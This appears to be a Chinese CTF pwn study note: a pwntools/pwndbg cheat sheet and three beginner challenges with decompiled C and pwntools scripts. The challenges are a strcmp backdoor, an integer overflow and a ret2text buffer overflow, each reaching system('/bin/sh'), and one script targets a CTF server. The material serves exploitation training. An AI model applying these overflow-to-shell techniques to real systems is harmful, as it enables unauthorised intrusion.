pwntools
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
r=process("./main") r=remote(ip,port)
r.send(str)/r.sendline(str) r.recv()/r.recvline/r.recvuntil(str)
r.interactive()
|
pwndbg
1 2 3 4
| gdb.attach gdb捕获正在运行的进程 ni 前进一步(不进入函数) si 前进一步(进入函数) fin 结束当前函数
|
main.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __fastcall main(int argc, const char **argv, const char **envp) { char buf[264]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); init(argc, argv, envp); puts("Say something: "); read(0, buf, 0x100uLL); if ( !strcmp(buf, "love\n") ) { puts("Yes!"); system("/bin/sh"); } else { puts("No!"); } return 0; }
|
exp.py
1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
r=remote('node7.anna.nssctf.cn', 29011)
r.recvuntil(": \n")
r.sendline("love")
r.interactive()
|
pwn2 整数溢出
main.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int __fastcall main(int argc, const char **argv, const char **envp) { char v4[4]; int v5; unsigned __int64 v6;
v6 = __readfsqword(0x28u); v5 = 1314; init(argc, argv, envp); puts("Hello! Input a number: "); __isoc99_scanf("%lld", v4); if ( v5 == 520 ) system("/bin/sh"); else puts("So sad"); return 0; }
|
exp.py
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
r=process("./main")
num=0x20865666768
r.recvline()
r.sendline(str(num))
r.interactive()
|
ret2text
main.c
1 2 3 4 5 6 7 8 9
| int __fastcall main(int argc, const char **argv, const char **envp) { char buf[16];
init(argc, argv, envp); puts("Give me something special:"); read(0, buf, 0x30uLL); return 0; }
|
buf为一个16字节的字符串,但是读入了48个字节,所以造成了溢出,需要通过溢出将返回地址覆盖成backdoor的地址
1 2 3 4
| int backdoor() { return system("/bin/sh"); }
|